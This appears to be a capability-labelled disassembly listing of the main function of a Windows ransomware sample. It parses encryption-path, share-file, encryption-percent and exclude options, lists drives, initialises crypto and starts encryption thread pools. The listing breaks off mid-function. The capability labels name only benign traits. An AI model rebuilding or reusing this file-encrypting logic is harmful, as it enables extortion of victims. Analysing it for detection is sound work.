Function at 0x418c90
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a0a40
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x360
mov eax, dword [0x4cd1c4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x170]
push eax
call fcn.00488226
add esp, 4
lea eax, [ebp - 0x170]
push eax
call fcn.004879c7
add esp, 4
push eax
push str.Log__d__m__Y__H__M__S
lea eax, [ebp - 0x68]
push 0x50
push eax
call fcn.00487d7d
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x158], 0
add esp, 0x10
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418d24
sub ecx, edx
lea eax, [ebp - 0x68]
push ecx
push eax
lea ecx, [ebp - 0x168]
call fcn.004054a0
lea eax, [ebp - 0x168]
push eax
call fcn.00418a70
push 0xf
push str.InitLog_success
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.004054a0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x418d9d
lea eax, [ebp - 0x264]
push eax
push 2
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x418d9d
mov eax, dword [ecx]
call dword [eax + 0xc]
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
jb 0x418dd7
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x418dcd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a251
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0x100], 0
mov word [ebp - 0x110], ax
mov dword [ebp - 0x13c], eax
mov word [ebp - 0x14c], ax
mov dword [ebp - 0x9c], eax
mov word [ebp - 0xac], ax
mov dword [ebp - 0x124], eax
mov word [ebp - 0x134], ax
lea eax, [ebp - 0x150]
push eax
mov dword [ebp - 0xfc], 7
mov dword [ebp - 0x138], 7
mov dword [ebp - 0x98], 7
mov dword [ebp - 0x120], 7
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 0x7c], esi
test esi, esi
je 0x419ff1
xorps xmm0, xmm0
mov dword [ebp - 0xb4], 0
movlpd qword [ebp - 0xe4], xmm0
movlpd qword [ebp - 0xdc], xmm0
movlpd qword [ebp - 0xd4], xmm0
movlpd qword [ebp - 0xcc], xmm0
movlpd qword [ebp - 0xc4], xmm0
movlpd qword [ebp - 0xbc], xmm0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0
call fcn.0041d700
xorps xmm0, xmm0
mov dword [ebp - 0xec], eax
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd4], 0
call fcn.0041d210
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0
call fcn.0041d210
push ecx
push esi
push dword [ebp - 0x150]
mov dword [ebp - 0xd0], eax
lea ecx, [ebp - 0xf8]
xor eax, eax
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 7
mov word [ebp - 0xc8], ax
call fcn.004201b0
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x74], 0x4b9160
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x70], str.__encryption_path
push ecx
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0xf8]
call fcn.0041a3c0
lea ecx, [ebp - 0x264]
push ecx
mov ecx, eax
call fcn.0041aeb0
mov esi, eax
lea eax, [ebp - 0x110]
cmp eax, esi
je 0x418f94
mov ecx, eax
call fcn.00406910
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x110], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x100], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x418fd4
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418fca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a256
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0041a2c0
push 2
xor eax, eax
mov dword [ebp - 0x254], 0
push 0x4b918c
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0040b7c0
mov esi, dword [ebp - 0xd8]
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0x78], esi
push eax
call fcn.0041ba10
mov edi, dword [ebp - 0xd8]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x270], eax
mov edi, dword [edi + 4]
cmp byte [edi + 0xd], 0
jne 0x419104
mov esi, eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x26c], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x278], eax
cmp dword [esi + 0x14], 8
lea ecx, [edi + 0x10]
mov eax, esi
jb 0x419084
mov eax, dword [esi]
cmp dword [ecx + 0x14], 8
mov edx, dword [ecx + 0x10]
jb 0x41908f
mov ecx, dword [ecx]
push dword [ebp - 0x26c]
push eax
call fcn.00427a20
shr eax, 0x1f
add esp, 8
test al, al
je 0x4190ad
mov edi, dword [edi + 8]
mov edx, dword [ebp - 0x6c]
jmp 0x4190b4
mov edx, edi
mov edi, dword [edi]
mov dword [ebp - 0x6c], edx
cmp byte [edi + 0xd], 0
je 0x419077
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0x78]
cmp edx, edi
je 0x41910a
mov ecx, dword [edx + 0x20]
add edx, 0x10
cmp dword [edx + 0x14], 8
jb 0x4190d5
mov edx, dword [edx]
cmp dword [ebp - 0x278], 8
mov eax, dword [ebp - 0x270]
jb 0x4190e6
mov eax, dword [eax]
push ecx
push edx
mov edx, dword [ebp - 0x26c]
mov ecx, eax
call fcn.00427a20
shr eax, 0x1f
add esp, 8
test al, al
jne 0x41910a
mov eax, dword [ebp - 0x6c]
jmp 0x41910c
mov edi, dword [ebp - 0xd8]
mov eax, edi
mov edx, dword [ebp - 0x27c]
cmp esi, eax
setne byte [ebp - 0x69]
cmp edx, 8
jb 0x419152
mov ecx, dword [ebp - 0x290]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419148
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a25b
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x419192
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419188
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a260
push edx
push ecx
call fcn.00464810
add esp, 8
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x74], 0x4b9194
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x70], str.__share_file
push ecx
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0xf8]
call fcn.0041a3c0
lea ecx, [ebp - 0x264]
push ecx
mov ecx, eax
call fcn.0041aeb0
mov esi, eax
lea eax, [ebp - 0x14c]
cmp eax, esi
je 0x419205
mov ecx, eax
call fcn.00406910
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x14c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x13c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x419245
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41923b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a265
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0041a2c0
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x74], 0x4b91b8
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x70], str.__encryption_percent
push ecx
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0xf8]
call fcn.0041a3c0
lea ecx, [ebp - 0x264]
push ecx
mov ecx, eax
call fcn.0041aeb0
mov esi, eax
lea eax, [ebp - 0xac]
cmp eax, esi
je 0x4192e0
mov ecx, eax
call fcn.00406910
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0xac], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x9c], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x419320
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419316
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a26a
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0041a2c0
push 0xa
xor eax, eax
mov dword [ebp - 0x254], 0
push str._localonly
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0040b7c0
mov esi, dword [ebp - 0xd8]
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0x278], esi
push eax
call fcn.0041ba10
mov edi, dword [ebp - 0xd8]
mov dword [ebp - 0x26c], edi
mov dword [ebp - 0x270], eax
mov edi, dword [edi + 4]
cmp byte [edi + 0xd], 0
jne 0x419459
mov esi, eax
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x78], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x274], eax
cmp dword [esi + 0x14], 8
lea ecx, [edi + 0x10]
mov eax, esi
jb 0x4193d3
mov eax, dword [esi]
cmp dword [ecx + 0x14], 8
mov edx, dword [ecx + 0x10]
jb 0x4193de
mov ecx, dword [ecx]
push dword [ebp - 0x78]
push eax
call fcn.00427a20
shr eax, 0x1f
add esp, 8
test al, al
je 0x4193fc
mov edi, dword [edi + 8]
mov edx, dword [ebp - 0x26c]
jmp 0x419406
mov edx, edi
mov edi, dword [edi]
mov dword [ebp - 0x26c], edx
cmp byte [edi + 0xd], 0
je 0x4193c6
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0x278]
cmp edx, edi
je 0x41945f
mov ecx, dword [edx + 0x20]
add edx, 0x10
cmp dword [edx + 0x14], 8
jb 0x41942a
mov edx, dword [edx]
cmp dword [ebp - 0x274], 8
mov eax, dword [ebp - 0x270]
jb 0x41943b
mov eax, dword [eax]
push ecx
push edx
mov edx, dword [ebp - 0x78]
mov ecx, eax
call fcn.00427a20
shr eax, 0x1f
add esp, 8
test al, al
jne 0x41945f
mov eax, dword [ebp - 0x26c]
jmp 0x419461
mov edi, dword [ebp - 0xd8]
mov eax, edi
mov edx, dword [ebp - 0x27c]
cmp esi, eax
setne byte [ebp - 0x265]
cmp edx, 8
jb 0x4194aa
mov ecx, dword [ebp - 0x290]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4194a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a26f
push edx
push ecx
call fcn.00464810
add esp, 8
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x4194ea
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4194e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a274
push edx
push ecx
call fcn.00464810
add esp, 8
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x74], 0x4b9204
push eax
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x70], str.__exclude
push ecx
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0xf8]
call fcn.0041a3c0
lea ecx, [ebp - 0x264]
push ecx
mov ecx, eax
call fcn.0041aeb0
mov esi, eax
lea eax, [ebp - 0x134]
cmp eax, esi
je 0x41955d
mov ecx, eax
call fcn.00406910
movups xmm0, xmmword [esi]
xor eax, eax
movups xmmword [ebp - 0x134], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x124], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x41959d
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419593
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a279
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
call fcn.0041a2c0
mov edx, dword [ebp - 0xb4]
cmp edx, 8
jb 0x419605
mov ecx, dword [ebp - 0xc8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4195fb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a27e
push edx
push ecx
call fcn.00464810
add esp, 8
xor eax, eax
mov dword [ebp - 0xb8], 0
mov word [ebp - 0xc8], ax
lea ecx, [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
push eax
mov dword [ebp - 0xb4], 7
push dword [eax]
lea eax, [ebp - 0x274]
push eax
call fcn.0041c3c0
push 0x28
push dword [ebp - 0xd0]
call fcn.00464810
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0xd8]
add esp, 8
push eax
push dword [eax]
lea eax, [ebp - 0x274]
push eax
call fcn.0041c3c0
push 0x28
push dword [ebp - 0xd8]
call fcn.00464810
add esp, 8
lea ecx, [ebp - 0xe4]
call fcn.00410a40
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0xec]
push eax
push dword [eax]
lea eax, [ebp - 0x274]
push eax
call fcn.0041c550
push 0x40
push dword [ebp - 0xec]
call fcn.00464810
add esp, 8
lea ecx, [ebp - 0xf8]
call fcn.00410a40
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x9c], 0
mov dword [ebp - 0x270], 0x32
je 0x41971d
call fcn.00487fad
cmp dword [ebp - 0x98], 8
lea esi, [ebp - 0xac]
mov edi, eax
lea eax, [ebp - 0x7c]
cmovae esi, dword [ebp - 0xac]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.00487711
add esp, 0xc
mov dword [ebp - 0x270], eax
cmp esi, dword [ebp - 0x7c]
je 0x41a283
cmp dword [edi], 0x22
je 0x41a28d
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
lea ecx, [ebp - 0x8c]
movq qword [ebp - 0x8c], xmm0
call fcn.00445720
cmp byte [ebp - 0x69], 0
je 0x4197ed
push 0xe
push str.List_of_drives
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.004054a0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x41979b
lea eax, [ebp - 0x264]
push eax
push 2
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x41979b
mov eax, dword [ecx]
call dword [eax + 0xc]
lea ecx, [ebp - 0x264]
call fcn.004050f0
mov edi, dword [ebp - 0x88]
mov esi, dword [ebp - 0x8c]
cmp esi, edi
je 0x419f5a
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x4197e1
push esi
push 2
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x4197e1
mov eax, dword [ecx]
call dword [eax + 0xc]
mov ecx, dword [0x4d5d84]
add esi, 0x1c
cmp esi, edi
jne 0x4197c0
jmp 0x419f5a
lea eax, [ebp - 0x298]
push eax
call fcn.00411fd0
add esp, 4
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
push 0x12
push str.pre_InitExtentions
call fcn.004054a0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419850
lea eax, [ebp - 0x264]
push eax
push 2
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419850
mov eax, dword [ecx]
call dword [eax + 0xc]
lea ecx, [ebp - 0x264]
call fcn.004050f0
call fcn.004387c0
cmp dword [ebp - 0x124], 0
je 0x41988c
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x290]
call fcn.00445af0
mov ecx, eax
call fcn.00438a40
lea ecx, [ebp - 0x290]
call fcn.004050f0
call fcn.004413a0
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [ebp - 0x180]
test esi, esi
jne 0x419905
push 0x11
push str.No_cpu_available_
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], esi
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.004054a0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419f4f
lea eax, [ebp - 0x264]
push eax
push 4
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419f4f
mov eax, dword [ecx]
call dword [eax + 0xc]
jmp 0x419f4f
push 0x20
call fcn.00464563
xorps xmm0, xmm0
add esp, 4
mov ecx, eax
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
call fcn.00447020
mov edi, eax
mov dword [ebp - 0x278], edi
test edi, edi
je 0x419f16
push 0x4cec40
call fcn.0048020e
add esp, 4
mov ecx, edi
push 1
push 0x4cdc40
push eax
call fcn.00447a00
test eax, eax
jne 0x419f16
mov dword [ebp - 0x24c], edi
cmp esi, 4
jg 0x41996c
cmp esi, 1
mov eax, 2
cmove esi, eax
add esi, esi
mov ecx, esi
mov eax, 0x51eb851f
shl ecx, 4
sub ecx, esi
add ecx, ecx
imul ecx
lea ecx, [esi + esi*4]
mov eax, 0x51eb851f
sar edx, 5
add ecx, ecx
mov edi, edx
shr edi, 0x1f
add edi, edx
imul ecx
mov dword [ebp - 0x274], edi
sar edx, 5
mov eax, edx
mov dword [ebp - 0x7c], edi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x26c], eax
mov ecx, eax
mov dword [ebp - 0x78], eax
jne 0x4199c2
mov eax, 1
mov dword [ebp - 0x26c], eax
mov ecx, eax
mov dword [ebp - 0x78], eax
sub esi, ecx
lea edx, [ebp - 0x7c]
sub esi, edi
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x6c], esi
call fcn.0040d400
push 0x25
push str.Number_of_thread_to_folder_parsers_
push ecx
mov ecx, eax
call fcn.0040e020
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x264]
push eax
call fcn.0040e8f0
lea ecx, [ebp - 0x264]
call fcn.004050f0
lea ecx, [ebp - 0x290]
call fcn.004050f0
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x290]
call fcn.0040d400
push 0x2a
push str.Number_of_thread_to_root_folder_parsers_
push ecx
mov ecx, eax
call fcn.0040e020
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x264]
push eax
call fcn.0040e8f0
lea ecx, [ebp - 0x264]
call fcn.004050f0
lea ecx, [ebp - 0x290]
call fcn.004050f0
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x290]
call fcn.0040d400
push 0x1f
push str.Number_of_threads_to_encrypt_
push ecx
mov ecx, eax
call fcn.0040e020
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x254], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x264]
push eax
call fcn.0040e8f0
lea ecx, [ebp - 0x264]
call fcn.004050f0
lea ecx, [ebp - 0x290]
call fcn.004050f0
push 0xe4
call fcn.00464563
mov edi, eax
add esp, 4
mov dword [edi + 4], 1
mov dword [edi + 8], 1
push dword [ebp - 0x26c]
lea esi, [edi + 0xc]
mov dword [edi], vtable.std::_Ref_count_obj_class_ThreadPool_.0
push dword [ebp - 0x274]
mov ecx, esi
call fcn.00443420
push edi
push esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.004271b0
xorps xmm0, xmm0
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x94]
movlpd qword [ebp - 0x94], xmm0
call fcn.004206a0
xor ecx, ecx
xor esi, esi
cmp dword [ebp - 0x13c], ecx
mov dword [ebp - 0x11c], esi
sete al
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x114], ecx
test al, al
jne 0x419c3c
lea edx, [ebp - 0x11c]
lea ecx, [ebp - 0x14c]
call fcn.0040e920
test al, al
jne 0x419c2d
push 0x1b
push str.Failed_to_read_share_files_
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], esi
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], al
call fcn.004054a0
lea eax, [ebp - 0x264]
push eax
call fcn.00407150
lea ecx, [ebp - 0x264]
call fcn.004050f0
mov dword [ebp - 0x26c], 1
jmp 0x419ea4
mov ecx, dword [ebp - 0x118]
mov esi, dword [ebp - 0x11c]
mov dword [ebp - 0x78], ecx
cmp dword [ebp - 0x100], 0
mov edi, dword [ebp - 0x74]
je 0x419cbd
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x6c]
call fcn.0040f690
mov ax, word [ebp - 0x6c]
test al, al
jne 0x419d85
cmp byte [ebp - 0x265], al
je 0x419c72
test ah, ah
jne 0x419d85
mov eax, dword [ebp - 0x90]
sub esp, 8
mov ecx, esp
mov dword [ecx], 0
mov dword [ecx + 4], 0
test eax, eax
je 0x419c92
lock inc dword [eax + 4]
push dword [ebp - 0x270]
mov edx, dword [ebp - 0x94]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x110]
mov dword [ecx], edx
push eax
mov ecx, edi
call fcn.004435d0
jmp 0x419d85
cmp esi, ecx
je 0x419d0f
mov edx, esi
lea ecx, [ebp - 0x6c]
call fcn.0040f690
mov ax, word [ebp - 0x6c]
test al, al
jne 0x419d05
cmp byte [ebp - 0x265], al
je 0x419cdf
test ah, ah
jne 0x419d05
sub esp, 8
lea eax, [ebp - 0x94]
mov ecx, esp
push eax
call fcn.0041ae30
push dword [ebp - 0x270]
lea eax, [ebp - 0x24c]
mov ecx, edi
push eax
push esi
call fcn.004435d0
add esi, 0x18
cmp esi, dword [ebp - 0x78]
jne 0x419cc1
jmp 0x419d85
mov eax, dword [ebp - 0x88]
mov edi, dword [ebp - 0x8c]
mov dword [ebp - 0x7c], eax
cmp edi, eax
je 0x419d82
cmp byte [edi + 0x19], 0
jne 0x419d7b
cmp byte [ebp - 0x265], 0
je 0x419d37
cmp byte [edi + 0x18], 0
jne 0x419d7b
mov edx, edi
lea ecx, [ebp - 0x290]
call fcn.00445a50
sub esp, 8
mov esi, eax
lea eax, [ebp - 0x94]
mov ecx, esp
push eax
call fcn.0041ae30
push dword [ebp - 0x270]
mov ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x24c]
push eax
push esi
call fcn.004435d0
lea ecx, [ebp - 0x290]
call fcn.00406910
mov eax, dword [ebp - 0x7c]
add edi, 0x1c
cmp edi, eax
jne 0x419d22
mov edi, dword [ebp - 0x74]
mov ecx, edi
call fcn.00444010
mov ecx, dword [ebp - 0x94]
call fcn.00444010
mov esi, dword [ebp - 0x278]
mov ecx, esi
call fcn.00447980
push 0
push esi
call fcn.00464810
lea eax, [ebp - 0x80]
push eax
call fcn.00411fd0
mov ecx, dword [ebp - 0x80]
add esp, 0xc
sub ecx, dword [ebp - 0x298]
mov eax, dword [ebp - 0x7c]
sbb eax, dword [ebp - 0x294]
push 0
push 0xf4240
push eax
push ecx
call fcn.00464ba0
push 0xb0
mov edi, eax
mov esi, edx
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.0047cb50
add esp, 4
lea ecx, [ebp - 0x248]
call fcn.0040dd00
push esi
push edi
lea ecx, [ebp - 0x238]
call fcn.00424d80
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 0x248]
call fcn.0040dbc0
lea ecx, [ebp - 0x248]
call fcn.0040dab0
push 0x4b931c
lea ecx, [ebp - 0x2c8]
call fcn.00405000
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419e86
lea eax, [ebp - 0x2b0]
push eax
push 2
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x419e86
mov eax, dword [ecx]
call dword [eax + 0xc]
lea ecx, [ebp - 0x2b0]
call fcn.004050f0
lea ecx, [ebp - 0x2c8]
call fcn.004050f0
xor eax, eax
mov dword [ebp - 0x26c], eax
lea ecx, [ebp - 0x11c]
call fcn.00410a40
mov dword [ebp - 4], 2
or edi, 0xffffffff
mov esi, dword [ebp - 0x90]
test esi, esi
je 0x419ee2
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x419ee2
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x419ee2
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov dword [ebp - 4], 3
mov esi, dword [ebp - 0x70]
test esi, esi
je 0x419f0e
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x419f0e
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
lock xadd dword [esi + 8], edi
dec edi
jne 0x419f0e
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov edi, dword [ebp - 0x26c]
jmp 0x419f5c
push 0x13
push str.Init_crypto_failed_
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.004054a0
lea eax, [ebp - 0x264]
push eax
call fcn.00407150
lea ecx, [ebp - 0x264]
call fcn.004050f0
xor edi, edi
mov ecx, dword [ebp - 0x8c]
test ecx, ecx
je 0x41a081
mov edx, dword [ebp - 0x88]
push ecx
call fcn.00420a90
mov ecx, dword [ebp - 0x84]
mov eax, 0x92492493
mov esi, dword [ebp - 0x8c]
add esp, 4
sub ecx, esi
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x419fc4
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a297
push ecx
push esi
call fcn.00464810
add esp, 8
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
jmp 0x41a081
push 0x1d
push str.Command_line_to_argvW_failed_
lea ecx, [ebp - 0x264]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
call fcn.004054a0
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x41a045
lea eax, [ebp - 0x264]
push eax
push 4
call fcn.0040e530
mov ecx, dword [0x4d5d84]
test ecx, ecx
je 0x41a045
mov eax, dword [ecx]
call dword [eax + 0xc]
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
